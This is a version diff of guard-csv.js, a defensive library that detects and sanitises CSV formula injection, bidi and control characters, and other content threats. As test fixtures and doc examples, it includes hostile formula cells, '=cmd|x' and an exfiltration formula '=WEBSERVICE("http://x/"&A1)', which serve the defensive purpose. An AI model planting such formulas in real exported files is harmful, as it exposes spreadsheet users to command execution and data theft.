@blamejs/blamejs-shop 0.4.55 → 0.4.57

package/lib/vendor/blamejs/lib/guard-csv.js

@@ -113,7 +113,6 @@ var BIDI_RE       = codepointClass.BIDI_RE;
 var BIDI_RE_G     = codepointClass.BIDI_RE_G;
 var C0_CTRL_RE    = codepointClass.C0_CTRL_RE;
 var C0_CTRL_RE_G  = codepointClass.C0_CTRL_RE_G;
-var ZERO_WIDTH_RE = codepointClass.ZERO_WIDTH_RE;
 var ZW_RE_G       = codepointClass.ZW_RE_G;
 var NULL_RE_G     = codepointClass.NULL_RE_G;
 var HOMOGLYPH_RE  = new RegExp("[" + _charClass(HOMOGLYPH_RANGES) + "]");      // allow:dynamic-regex — codepoints from HOMOGLYPH_RANGES literal table
@@ -157,12 +156,6 @@ var FORMULA_PREFIXES = Object.freeze(_stringFromCps(FORMULA_PREFIX_CPS).split(""
 // Default row count cap for serialize. 2^20 ~ 1M rows.
 var DEFAULT_MAX_ROWS = 0x100000;
 
-// Forensic-snippet sizes per compliance posture.
-var FORENSIC_SNIPPET_HIPAA   = C.BYTES.bytes(256);
-var FORENSIC_SNIPPET_PCI_DSS = C.BYTES.bytes(256);
-var FORENSIC_SNIPPET_GDPR    = C.BYTES.bytes(128);
-var FORENSIC_SNIPPET_SOC2    = C.BYTES.bytes(512);
-
 // ---- Profile presets ----
 
 var PROFILES = Object.freeze({
@@ -220,71 +213,28 @@ var PROFILES = Object.freeze({
   },
 });
 
-var DEFAULTS = Object.freeze({
+var DEFAULTS = gateContract.strictDefaults(PROFILES, {
   delimiter:                 ",",
   lineEnding:                "\r\n",
   encoding:                  "utf-8",
   locale:                    "C",
-  formulaInjectionPolicy:    "prefix-tab",
   formulasAllowlist:         Object.freeze(["SUM", "AVERAGE", "COUNT", "MIN", "MAX", "IF", "CONCATENATE"]),
   dangerousFunctions:        DANGEROUS_FUNCTIONS,
-  bomPrefix:                 false,
   maxRows:                   DEFAULT_MAX_ROWS,
   maxCellBytes:              C.BYTES.kib(64),
   maxTotalBytes:             C.BYTES.gib(1),
   maxColumns:                0x400,
   sanitizeAmplificationCap:  1.5,
-  controlCharPolicy:         "reject",
-  bidiCharPolicy:            "reject",
-  homoglyphPolicy:           "audit",
-  nullByteHandling:          "reject",
-  trailingWhitespacePolicy:  "trim",
-  dialectPolicy:             "strict",
-  nullSemantics:             "empty-string",
   nullMarker:                "\\N",
   preserveLeadingZeros:      false,
   preserveBooleanStrings:    false,
   preserveDateStrings:       false,
-  dateFormat:                "iso8601",
-  numericPrecisionPolicy:    "decimal-string-above-safe-int",
   piiPolicy:                 "preserve",
   forensicSnippetBytes:      0,
-  mode:                      "enforce",
   maxRuntimeMs:              C.TIME.seconds(30),
 });
 
-var COMPLIANCE_POSTURES = Object.freeze({
-  "hipaa": {
-    formulaInjectionPolicy: "prefix-tab",
-    bidiCharPolicy:         "reject",
-    controlCharPolicy:      "reject",
-    nullByteHandling:       "reject",
-    piiPolicy:              "redact",
-    forensicSnippetBytes:   FORENSIC_SNIPPET_HIPAA,
-  },
-  "pci-dss": {
-    formulaInjectionPolicy: "prefix-tab",
-    bidiCharPolicy:         "reject",
-    controlCharPolicy:      "reject",
-    nullByteHandling:       "reject",
-    piiPolicy:              "redact",
-    forensicSnippetBytes:   FORENSIC_SNIPPET_PCI_DSS,
-  },
-  "gdpr": {
-    formulaInjectionPolicy: "prefix-tab",
-    bidiCharPolicy:         "strip",
-    controlCharPolicy:      "strip",
-    piiPolicy:              "redact",
-    forensicSnippetBytes:   FORENSIC_SNIPPET_GDPR,
-  },
-  "soc2": {
-    formulaInjectionPolicy: "prefix-tab",
-    bidiCharPolicy:         "reject",
-    controlCharPolicy:      "reject",
-    nullByteHandling:       "reject",
-    forensicSnippetBytes:   FORENSIC_SNIPPET_SOC2,
-  },
-});
+var COMPLIANCE_POSTURES = gateContract.compliancePostures(PROFILES, { base: 256, overlays: { hipaa: { piiPolicy: "redact" }, "pci-dss": { piiPolicy: "redact" }, gdpr: { piiPolicy: "redact" } } });
 
 // ---- Internal helpers ----
 
@@ -307,37 +257,17 @@ function _detectIssues(text, opts) {
     });
   }
 
-  if (opts.bidiCharPolicy !== "allow") {
-    var bidiMatch = _firstMatch(text, BIDI_RE);
-    if (bidiMatch) {
-      issues.push({
-        kind: "bidi-override", severity: "critical", ruleId: "csv.bidi",
-        location: bidiMatch.index,
-        snippet: "Unicode bidi override at byte " + bidiMatch.index +
-                 " (CVE-2021-42574 Trojan Source)",
-      });
-    }
-  }
-
-  if (opts.controlCharPolicy !== "allow") {
-    var ctrlMatch = _firstMatch(text, C0_CTRL_RE);
-    if (ctrlMatch) {
-      issues.push({
-        kind: "control-char", severity: "high", ruleId: "csv.control",
-        location: ctrlMatch.index,
-        snippet: "C0 control char U+" + ctrlMatch.char.charCodeAt(0).toString(HEX_RADIX) +
-                 " at byte " + ctrlMatch.index,
-      });
-    }
-  }
-
-  var nullIdx = text.indexOf(NULL_BYTE);
-  if (nullIdx >= 0 && opts.nullByteHandling !== "allow") {
-    issues.push({
-      kind: "null-byte", severity: "critical", ruleId: "csv.null-byte",
-      location: nullIdx, snippet: "null byte at " + nullIdx,
-    });
-  }
+  // Bidi / null / control / zero-width via the shared codepoint class. CSV
+  // exposes its own policy vocabulary (bidiCharPolicy / controlCharPolicy /
+  // nullByteHandling), normalized here to the shared detector's names so the
+  // per-class match-and-push blocks live in exactly one place; zero-width is
+  // always scanned (warn) since CSV ships no zeroWidthPolicy.
+  issues.push.apply(issues, codepointClass.detectCharThreats(text, {
+    bidiPolicy:      opts.bidiCharPolicy,
+    controlPolicy:   opts.controlCharPolicy,
+    nullBytePolicy:  opts.nullByteHandling,
+    zeroWidthPolicy: opts.zeroWidthPolicy || "audit",
+  }, "csv", "warn"));
 
   if (opts.homoglyphPolicy !== "allow" && /[A-Za-z]/.test(text)) {
     var homoMatch = _firstMatch(text, HOMOGLYPH_RE);
@@ -351,15 +281,6 @@ function _detectIssues(text, opts) {
     }
   }
 
-  var zwMatch = _firstMatch(text, ZERO_WIDTH_RE);
-  if (zwMatch) {
-    issues.push({
-      kind: "zero-width", severity: "warn", ruleId: "csv.zero-width",
-      location: zwMatch.index,
-      snippet: "zero-width char U+" + zwMatch.char.charCodeAt(0).toString(HEX_RADIX) +
-               " at byte " + zwMatch.index,
-    });
-  }
 
   if (opts.formulaInjectionPolicy !== "audit-only" && opts.formulaInjectionPolicy !== "allow") {
     // Strip ZWSP / RTLO / LRM / RLM / BOM at cell-start before the
@@ -441,15 +362,8 @@ function _stripIssues(text, opts) {
   return out;
 }
 
-function _resolveOpts(opts) {
-  return gateContract.resolveProfileAndPosture(opts, {
-    profiles:           PROFILES,
-    compliancePostures: COMPLIANCE_POSTURES,
-    defaults:           DEFAULTS,
-    errorClass:         GuardCsvError,
-    errCodePrefix:      "csv",
-  });
-}
+// _resolveOpts removed — the generated guard exposes the bound resolver as
+// module.exports.resolveOpts (defineGuard owns the profile/posture binding).
 
 // ---- Cell-level escape with full threat application ----
 
@@ -505,8 +419,10 @@ function escapeCell(value, opts) {
   opts = Object.assign({}, DEFAULTS, opts || {});
   var str = value == null ? "" : String(value);
 
-  if (str.length > opts.maxCellBytes) {
-    throw _err("csv.cell-too-large", "cell exceeds maxCellBytes " + opts.maxCellBytes);
+  var cellBytes = Buffer.byteLength(str, "utf8");
+  if (cellBytes > opts.maxCellBytes) {
+    throw _err("csv.cell-too-large",
+      "cell is " + cellBytes + " bytes, exceeds maxCellBytes " + opts.maxCellBytes);
   }
 
   if (opts.nullByteHandling === "reject" && str.indexOf(NULL_BYTE) !== -1) {
@@ -673,7 +589,7 @@ function schema(spec) {
       }, opts));
     },
     validate: function (input, opts) {
-      return validate(input, Object.assign({ schema: spec }, opts || {}));
+      return module.exports.validate(input, Object.assign({ schema: spec }, opts || {}));
     },
     columns: cols,
   };
@@ -728,7 +644,7 @@ function schema(spec) {
  *   out.indexOf("\r\n") !== -1;                        // → true
  */
 function serialize(rows, opts) {
-  opts = _resolveOpts(opts);
+  opts = module.exports.resolveOpts(opts);
   numericBounds.requireAllPositiveFiniteIntIfPresent(opts,
     ["maxRows", "maxCellBytes", "maxTotalBytes"],
     "guardCsv.serialize", GuardCsvError, "csv.bad-opt");
@@ -838,10 +754,9 @@ function serialize(rows, opts) {
  *   rv.ok;                                             // → false
  *   rv.issues.some(function (i) { return i.kind === "dangerous-function"; });  // → true
  */
-function validate(input, opts) {
-  opts = _resolveOpts(opts);
-  return gateContract.runIssueValidator(input, opts, _detectIssues);
-}
+// validate is generated by defineGuard from `detect` (_detectIssues) under the
+// "text" input contract — runIssueValidator(input, resolved, _detectIssues,
+// "text") — identical to the hand-written wrapper this replaced.
 
 /**
  * @primitive  b.guardCsv.sanitize
@@ -885,23 +800,11 @@ function validate(input, opts) {
  *   });
  *   clean.indexOf(ZWSP) === -1;                        // → true
  */
-function sanitize(input, opts) {
-  opts = _resolveOpts(opts);
-  var text = typeof input === "string"
-    ? input
-    : (Buffer.isBuffer(input) ? input.toString("utf8") : null);
-  if (text == null) {
-    throw _err("csv.bad-input", "sanitize requires string or Buffer input");
-  }
-  var sanitized = _stripIssues(text, opts);
-  var amplification = sanitized.length / Math.max(text.length, 1);
-  if (amplification > opts.sanitizeAmplificationCap) {
-    throw _err("csv.sanitize-amplified",
-      "sanitize grew output " + amplification.toFixed(2) +
-      "x; cap " + opts.sanitizeAmplificationCap);
-  }
-  return sanitized;
-}
+// sanitize is generated by defineGuard from `sanitizeTransform` (_stripIssues)
+// with sanitizeSeverities:[] (strip unconditionally, never refuse on a detected
+// issue) and sanitizeAmplificationCap:"sanitizeAmplificationCap" (the "sanitize
+// must shrink, never grow" post-condition that throws csv.sanitize-amplified) —
+// identical to the hand-written scrubber this replaced.
 
 /**
  * @primitive  b.guardCsv.detect
@@ -975,12 +878,14 @@ function detect(input) {
  * Build a `b.gateContract` gate suitable for plugging into
  * `b.staticServe({ contentSafety: { ".csv": gate } })`,
  * `b.fileUpload({ contentSafety: { "text/csv": gate } })`,
- * `b.mail`, or `b.objectStore`. Action chain on validation:
- * `serve` (no issues) → `audit-only` (warn-only issues) →
- * `sanitize` (critical/high but no `reject` policy active —
- * sanitize, re-parse, re-serialize so formula mitigation lands)
- * → `refuse` (critical/high under any `reject` policy, or when
- * sanitize fails / amplifies past cap).
+ * `b.mail`, or `b.objectStore`. Each finding's action is the one the
+ * operator's policy for that class selected: `serve` (no issues) →
+ * `audit-only` (observe-only findings) → `sanitize` (a class set to a
+ * mitigation — formula `prefix-tab`, bidi/control `strip` — so the gate
+ * strips, then re-parses + re-serializes when a formula cell is present so
+ * escapeCell's mitigation lands) → `refuse` (a class set to `reject`, the
+ * dangerous-function denylist, or an ambiguous mixed dialect). `refuse`
+ * wins over `sanitize` wins over `audit-only`.
  *
  * Operator extensibility: pass `operatorRules: [{ id, severity,
  * detect: fn(ctx)→boolean, reason }]` to inject custom detectors
@@ -1004,69 +909,94 @@ function detect(input) {
  *     contentSafety: { ".csv": csvGate },
  *   });
  *
- *   // Direct invocation for an upload pipeline:
- *   var hostile = Buffer.from("name,formula\r\nalice,=cmd|x\r\n", "utf8");
- *   var verdict = await csvGate.check({ bytes: hostile });
- *   verdict.action;                                    // → "refuse"
+ *   // A plain formula cell is mitigated in place (strict's formula policy is
+ *   // prefix-tab — a cell beginning `=`/`+`/`-`/`@` is prefixed with a TAB so
+ *   // spreadsheets render it as text rather than evaluate it):
+ *   var formula = Buffer.from("name,formula\r\nalice,=cmd|x\r\n", "utf8");
+ *   (await csvGate.check({ bytes: formula })).action;  // → "sanitize"
+ *
+ *   // A denylisted exfiltration/RCE function refuses — too dangerous to serve
+ *   // even prefixed:
+ *   var exfil = Buffer.from('a\r\n=WEBSERVICE("http://x/"&A1)\r\n', "utf8");
+ *   (await csvGate.check({ bytes: exfil })).action;    // → "refuse"
  */
-function gate(opts) {
-  opts = _resolveOpts(opts);
-  return gateContract.buildGuardGate(
-    opts.name || "guardCsv:" + (opts.profile || "default"),
-    opts,
-    async function (ctx) {
-      var text = gateContract.extractBytesAsText(ctx);
-      if (!text) return { ok: true, action: "serve" };
-      var rv = validate(text, opts);
-
-      var operatorIssues = [];
-      if (Array.isArray(opts.operatorRules)) {
-        for (var ri = 0; ri < opts.operatorRules.length; ri += 1) {
-          var rule = opts.operatorRules[ri];
-          try {
-            if (rule.detect && rule.detect({ bytes: text, ctx: ctx })) {
-              operatorIssues.push({
-                kind: rule.id, severity: rule.severity || "warn",
-                ruleId: rule.id, snippet: rule.reason || rule.id,
-              });
-            }
-          } catch (_e) { /* operator rule best-effort */ }
-        }
-      }
-      var allIssues = rv.issues.concat(operatorIssues);
+// Disposition of each csv finding = what the operator's policy for that class
+// selected (reject → refuse, a mitigation like prefix-tab/strip → sanitize,
+// audit → audit), resolved through gateContract.policyDisposition. The
+// dangerous-function denylist and an ambiguous mixed-dialect always refuse —
+// neither is safe to serve even after a best-effort mitigation; a stray BOM is
+// always strippable; the zero-width / homoglyph observations are audit-only.
+// Exhaustive over every kind _detectIssues can emit (the gate-disposition
+// coverage test enforces it), so the gate never falls back to severity.
+function _gateDispositionFor(issue, opts) {
+  switch (issue.kind) {
+    case "bidi-override":              return gateContract.policyDisposition(opts.bidiCharPolicy);
+    case "control-char":               return gateContract.policyDisposition(opts.controlCharPolicy);
+    case "null-byte":                  return gateContract.policyDisposition(opts.nullByteHandling);
+    case "formula-prefix-cell":        return gateContract.policyDisposition(opts.formulaInjectionPolicy);
+    case "homoglyph":                  return gateContract.policyDisposition(opts.homoglyphPolicy);
+    case "bom-mid-stream":             return "sanitize";
+    case "zero-width":                 return "sanitize";
+    case "dangerous-function":         return "refuse";
+    case "dialect-mixed-line-endings": return "refuse";
+    default:                           return null;
+  }
+}
 
-      if (allIssues.length === 0) return { ok: true, action: "serve" };
-      var hasCritical = allIssues.some(function (i) {
-        return i.severity === "critical" || i.severity === "high";
-      });
-      if (!hasCritical) {
-        return { ok: true, action: "audit-only", issues: allIssues };
+// Operator-injected rules run as detect-only findings. The guard owns no
+// sanitizer for them, so buildContentGate treats a refusal-severity hit as
+// refuse (it cannot serve a "sanitized" output that still carries the rule's
+// finding). Best-effort: a throwing detector is skipped — the framework cannot
+// crash a request because an operator rule mishandled bytes.
+function _gateOperatorIssues(text, opts, ctx) {
+  var out = [];
+  if (!Array.isArray(opts.operatorRules)) return out;
+  for (var i = 0; i < opts.operatorRules.length; i += 1) {
+    var rule = opts.operatorRules[i];
+    try {
+      if (rule.detect && rule.detect({ bytes: text, ctx: ctx })) {
+        // Default an operator rule that fires to refusal severity: the gate owns
+        // no sanitizer for operator findings, so an unspecified-severity rule
+        // BLOCKS by default (the operator wrote it to catch something) — they
+        // opt DOWN to "warn" to observe-only, never silently up to serve.
+        out.push({
+          kind: rule.id, severity: rule.severity || "high",
+          ruleId: rule.id, snippet: rule.reason || rule.id,
+        });
       }
+    } catch (_e) { /* operator rule best-effort */ }
+  }
+  return out;
+}
 
-      if (opts.formulaInjectionPolicy !== "reject" &&
-          opts.bidiCharPolicy !== "reject" &&
-          opts.controlCharPolicy !== "reject" &&
-          opts.nullByteHandling !== "reject") {
-        try {
-          var clean = sanitize(text, opts);
-          var hasFormulaIssue = allIssues.some(function (i) {
-            return i.kind === "formula-prefix-cell" ||
-                   i.kind === "dangerous-function";
-          });
-          if (hasFormulaIssue) {
-            var parsedRows = csv.parse(clean, { header: false });
-            clean = serialize(parsedRows, Object.assign({}, opts, { headers: false }));
-          }
-          return {
-            ok: true, action: "sanitize",
-            sanitized: Buffer.from(clean, "utf8"),
-            issues: allIssues,
-          };
-        } catch (_e) { /* fall through to refuse */ }
-      }
+// Gate sanitize: strip the removable findings, then — when a formula / dangerous
+// cell survives the strip — reparse + reserialize so escapeCell applies the
+// operator's formula mitigation (prefix-tab / wrap-with-quotes). The mitigation
+// is in-place (a TAB-prefixed cell is inert in a spreadsheet but still matches
+// the cell-boundary formula scan), so the gate trusts this output rather than
+// re-validating it. Returns bytes.
+function _gateProduceSanitized(text, opts) {
+  var clean = module.exports.sanitize(text, opts);
+  var hasFormula = _detectIssues(clean, opts).some(function (i) {
+    return i.kind === "formula-prefix-cell" || i.kind === "dangerous-function";
+  });
+  if (hasFormula) {
+    var rows = csv.parse(clean, { header: false });
+    clean = serialize(rows, Object.assign({}, opts, { headers: false }));
+  }
+  return Buffer.from(clean, "utf8");
+}
 
-      return { ok: false, action: "refuse", issues: allIssues };
-    });
+function gate(opts) {
+  opts = module.exports.resolveOpts(opts);
+  return gateContract.buildContentGate({
+    name:             opts.name || "guardCsv:" + (opts.profile || "default"),
+    opts:             opts,
+    validate:         module.exports.validate,
+    dispositionFor:   _gateDispositionFor,
+    extraIssues:      _gateOperatorIssues,
+    produceSanitized: _gateProduceSanitized,
+  });
 }
 
 // buildProfile / compliancePosture / loadRulePack are assembled by
@@ -1081,10 +1011,11 @@ var INTEGRATION_FIXTURES = Object.freeze({
   contentType: "text/csv",
   extension:   ".csv",
   benignBytes: Buffer.from("name,age\r\nalice,30\r\n", "utf8"),
-  // Hostile: cell starts with formula trigger `=cmd|x` — strict
-  // profile prepends TAB so spreadsheets disarm at evaluation time;
-  // gate's check returns refuse for any critical/high issue.
-  hostileBytes: Buffer.from("name,formula\r\nalice,=cmd|x\r\n", "utf8"),
+  // Hostile: a cell invokes a denylisted exfiltration function (WEBSERVICE) —
+  // an RCE / data-exfil vector too dangerous to serve even mitigated, so the
+  // gate refuses (a plain formula prefix-cell would instead be sanitized in
+  // place by the strict profile's prefix-tab policy).
+  hostileBytes: Buffer.from('name,formula\r\nalice,=WEBSERVICE("http://x/"&A1)\r\n', "utf8"),
 });
 
 // Assembled from the gate-contract guard factory: error class, registry
@@ -1104,10 +1035,18 @@ module.exports = gateContract.defineGuard({
   mimeTypes:   ["text/csv"],
   extensions:  [".csv"],
   integrationFixtures: INTEGRATION_FIXTURES,
-  validate:    validate,
-  sanitize:    sanitize,
+  // validate + sanitize generated from detect/sanitizeTransform. "text" input
+  // contract (string/Buffer→utf8, bad-input otherwise — _detectIssues returns
+  // [] on a non-string, so the contract owns the refusal). sanitizeSeverities
+  // [] strips unconditionally; sanitizeAmplificationCap enforces shrink.
+  inputContract:            "text",
+  detect:                   _detectIssues,
+  sanitizeTransform:        _stripIssues,
+  sanitizeSeverities:       [],
+  sanitizeAmplificationCap: "sanitizeAmplificationCap",
   gate:        gate,
   extra: {
+    _gateDispositionForTest: _gateDispositionFor,
     serialize:           serialize,
     escapeCell:          escapeCell,
     detect:              detect,